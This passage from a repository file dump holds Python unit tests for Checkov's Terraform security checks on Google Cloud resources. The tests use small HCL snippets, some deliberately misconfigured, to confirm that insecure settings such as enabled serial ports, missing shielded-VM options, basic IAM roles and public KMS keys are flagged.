    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeSerialPorts import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleComputeSerialPorts(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n              metadata = {\n                 serial-port-enable = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_template\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              metadata = {\n                 serial-port-enable = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_3(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n              metadata = {\n                 serial-port-enable = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_unknown_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n              metadata = {\n                 foo = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n    def test_unknown_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n    def test_success_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n              metadata = {\n                 serial-port-enable = false\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_3(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_template\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeShieldedVM.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeShieldedVM import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleComputeShieldedVM (unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n                shielded_instance_config {\n                    enable_integrity_monitoring = false\n                    }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_3(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_template\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n                shielded_instance_config {\n                    enable_integrity_monitoring = false\n                    }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_4(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n              shielded_instance_config {\n                enable_integrity_monitoring = false\n                }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n              shielded_instance_config {}\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_template\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n              shielded_instance_config {}\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n              shielded_instance_config {\n                enable_vtpm = true\n                enable_integrity_monitoring = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_3(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance\" \"default\" {\n              name         = \"test\"\n              machine_type = \"n1-standard-1\"\n              zone         = \"us-central1-a\"\n              boot_disk {}\n              shielded_instance_config {\n                enable_vtpm = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_4(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n              shielded_instance_config {\n                enable_vtpm = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_unknown_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleFolderBasicRole.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.checks.resource.gcp.GoogleFolderBasicRole import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleFolderBasicRole(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_GoogleFolderBasicRole\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_folder_iam_member.other',\n            'google_folder_iam_binding.other',\n        }\n        failing_resources = {\n            'google_folder_iam_member.owner',\n            'google_folder_iam_member.editor',\n            'google_folder_iam_member.viewer',\n            'google_folder_iam_binding.owner',\n            'google_folder_iam_binding.editor',\n            'google_folder_iam_binding.viewer',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleFolderImpersonationRolesd.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleFolderImpersonationRole import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleFolderImpersonationRoles(unittest.TestCase):\n\n    def test_failure_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_folder_iam_binding\" \"folder\" {\n              folder  = \"folders/1234567\"\n              role    = \"roles/editor\"\n\n              members = [\n                \"user:jane@example.com\",\n                \"serviceAccount:test-compute@appspot.gserviceaccount.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_folder_iam_binding']['folder']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_folder_iam_member\" \"folder\" {\n              folder  = \"folders/1234567\"\n              role    = \"roles/editor\"\n              member  = \"serviceAccount:test-compute@developer.gserviceaccount.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_folder_iam_member']['folder']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_folder_iam_binding\" \"folder\" {\n              folder  = \"folders/1234567\"\n              role    = \"roles/other\"\n\n              members = [\n                \"user:jane@example.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_folder_iam_binding']['folder']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_folder_iam_member\" \"folder\" {\n              folder  = \"folders/1234567\"\n              role    = \"roles/other\"\n              member  = \"user:jane@example.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_folder_iam_member']['folder']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleFolderMemberDefaultServiceAccount.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleFolderMemberDefaultServiceAccount import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleFolderMemberDefaultServiceAccount(unittest.TestCase):\n\n    def test_failure_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_folder_iam_binding\" \"folder\" {\n              folder  = \"folders/1234567\"\n              role    = \"roles/editor\"\n            \n              members = [\n                \"user:jane@example.com\",\n                \"serviceAccount:test-compute@appspot.gserviceaccount.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_folder_iam_binding']['folder']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_folder_iam_member\" \"folder\" {\n              folder  = \"folders/1234567\"\n              role    = \"roles/editor\"\n              member  = \"serviceAccount:test-compute@developer.gserviceaccount.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_folder_iam_member']['folder']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_folder_iam_binding\" \"folder\" {\n              folder  = \"folders/1234567\"\n              role    = \"roles/editor\"\n            \n              members = [\n                \"user:jane@example.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_folder_iam_binding']['folder']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_folder_iam_member\" \"folder\" {\n              folder  = \"folders/1234567\"\n              role    = \"roles/editor\"\n              member  = \"user:jane@example.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_folder_iam_member']['folder']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleIAMWorkloadIdentityConditional.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GoogleIAMWorkloadIdentityConditional import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleIAMWorkloadIdentityConditional(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GoogleIAMWorkloadIdentityConditional\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_iam_workload_identity_pool_provider.pass',\n        }\n        failing_resources = {\n            'google_iam_workload_identity_pool_provider.fail',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleKMSKeyIsPublic.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GoogleKMSKeyIsPublic import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleKMSKeyIsPublic(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GoogleKMSKeyIsPublic\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_kms_crypto_key_iam_policy.pass',\n            'google_kms_crypto_key_iam_policy.pass2',\n            'google_kms_crypto_key_iam_policy.pass3',\n            'google_kms_crypto_key_iam_binding.pass',\n            'google_kms_crypto_key_iam_member.pass'\n        }\n        failing_resources = {\n            'google_kms_crypto_key_iam_policy.fail',\n            'google_kms_crypto_key_iam_policy.fail2',\n            'google_kms_crypto_key_iam_binding.fail',\n            'google_kms_crypto_key_iam_member.fail'\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleKMSKeyRotationPeriod.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleKMSRotationPeriod import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleKMSKeyRotationPeriod(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleKMSRotationPeriod\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_kms_crypto_key.minimum\",\n            \"google_kms_crypto_key.ninety_days\",\n        }\n\n        failing_resources = {\n            \"google_kms_crypto_key.default\",\n            \"google_kms_crypto_key.half_year\",\n            \"google_kms_crypto_key.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 6)  # 1 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleKMSPreventDestroy.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleKMSPreventDestroy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleKMSPreventDestroy(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleKMSPreventDestroy\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_kms_crypto_key.pass\",\n        }\n\n        failing_resources = {\n            \"google_kms_crypto_key.fail\",\n            \"google_kms_crypto_key.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleOrgBasicRole.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.checks.resource.gcp.GoogleOrgBasicRole import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleOrgBasicRole(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_GoogleOrgBasicRole\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_organization_iam_member.other',\n            'google_organization_iam_binding.other',\n        }\n        failing_resources = {\n            'google_organization_iam_member.owner',\n            'google_organization_iam_member.editor',\n            'google_organization_iam_member.viewer',\n            'google_organization_iam_binding.owner',\n            'google_organization_iam_binding.editor',\n            'google_organization_iam_binding.viewer',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleOrgImpersonationRolest.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleOrgImpersonationRole import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleOrgImpersonationRoles(unittest.TestCase):\n\n    def test_failure_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_organization_iam_binding\" \"organization\" {\n              org_id  = \"your-organization-id\"\n              role    = \"roles/editor\"\n            \n              members = [\n                \"user:jane@example.com\",\n                \"serviceAccount:test-compute@developer.gserviceaccount.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_organization_iam_binding']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_organization_iam_member\" \"organization\" {\n              org_id  = \"your-organization-id\"\n              role    = \"roles/editor\"\n              member  = \"serviceAccount:test-compute@developer.gserviceaccount.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_organization_iam_member']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_organization_iam_binding\" \"organization\" {\n              org_id  = \"your-organization-id\"\n              role    = \"roles/other\"\n            \n              members = [\n                \"user:jane@example.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_organization_iam_binding']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_organization_iam_member\" \"organization\" {\n              org_id  = \"your-organization-id\"\n              role    = \"roles/other\"\n              member  = \"user:jane@example.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_organization_iam_member']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleOrgMemberDefaultServiceAccount.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleOrgMemberDefaultServiceAccount import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleOrgMemberDefaultServiceAccount(unittest.TestCase):\n\n    def test_failure_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_organization_iam_binding\" \"organization\" {\n              org_id  = \"your-organization-id\"\n              role    = \"roles/editor\"\n            \n              members = [\n                \"user:jane@example.com\",\n                \"serviceAccount:test-compute@developer.gserviceaccount.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_organization_iam_binding']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_organization_iam_member\" \"organization\" {\n              org_id  = \"your-organization-id\"\n              role    = \"roles/editor\"\n              member  = \"serviceAccount:test-compute@developer.gserviceaccount.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_organization_iam_member']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_organization_iam_binding\" \"organization\" {\n              org_id  = \"your-organization-id\"\n              role    = \"roles/editor\"\n            \n              members = [\n                \"user:jane@example.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_organization_iam_binding']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_organization_iam_member\" \"organization\" {\n              org_id  = \"your-organization-id\"\n              role    = \"roles/editor\"\n              member  = \"user:jane@example.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_organization_iam_member']['organization']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleProjectAdminServiceAccount.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleProjectAdminServiceAccount import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleComputeDiskEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_member\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/owner\"\n              member  = \"user:test@example-project.iam.gserviceaccount.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_member']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_member\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/editor\"\n              member  = \"user:jane@example.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_member']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleProjectBasicRole.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.checks.resource.gcp.GoogleProjectBasicRole import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleProjectBasicRole(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_GoogleProjectBasicRole\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_project_iam_member.other',\n            'google_project_iam_binding.other',\n        }\n        failing_resources = {\n            'google_project_iam_member.owner',\n            'google_project_iam_member.editor',\n            'google_project_iam_member.viewer',\n            'google_project_iam_binding.owner',\n            'google_project_iam_binding.editor',\n            'google_project_iam_binding.viewer',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleProjectDefaultNetwork.py",
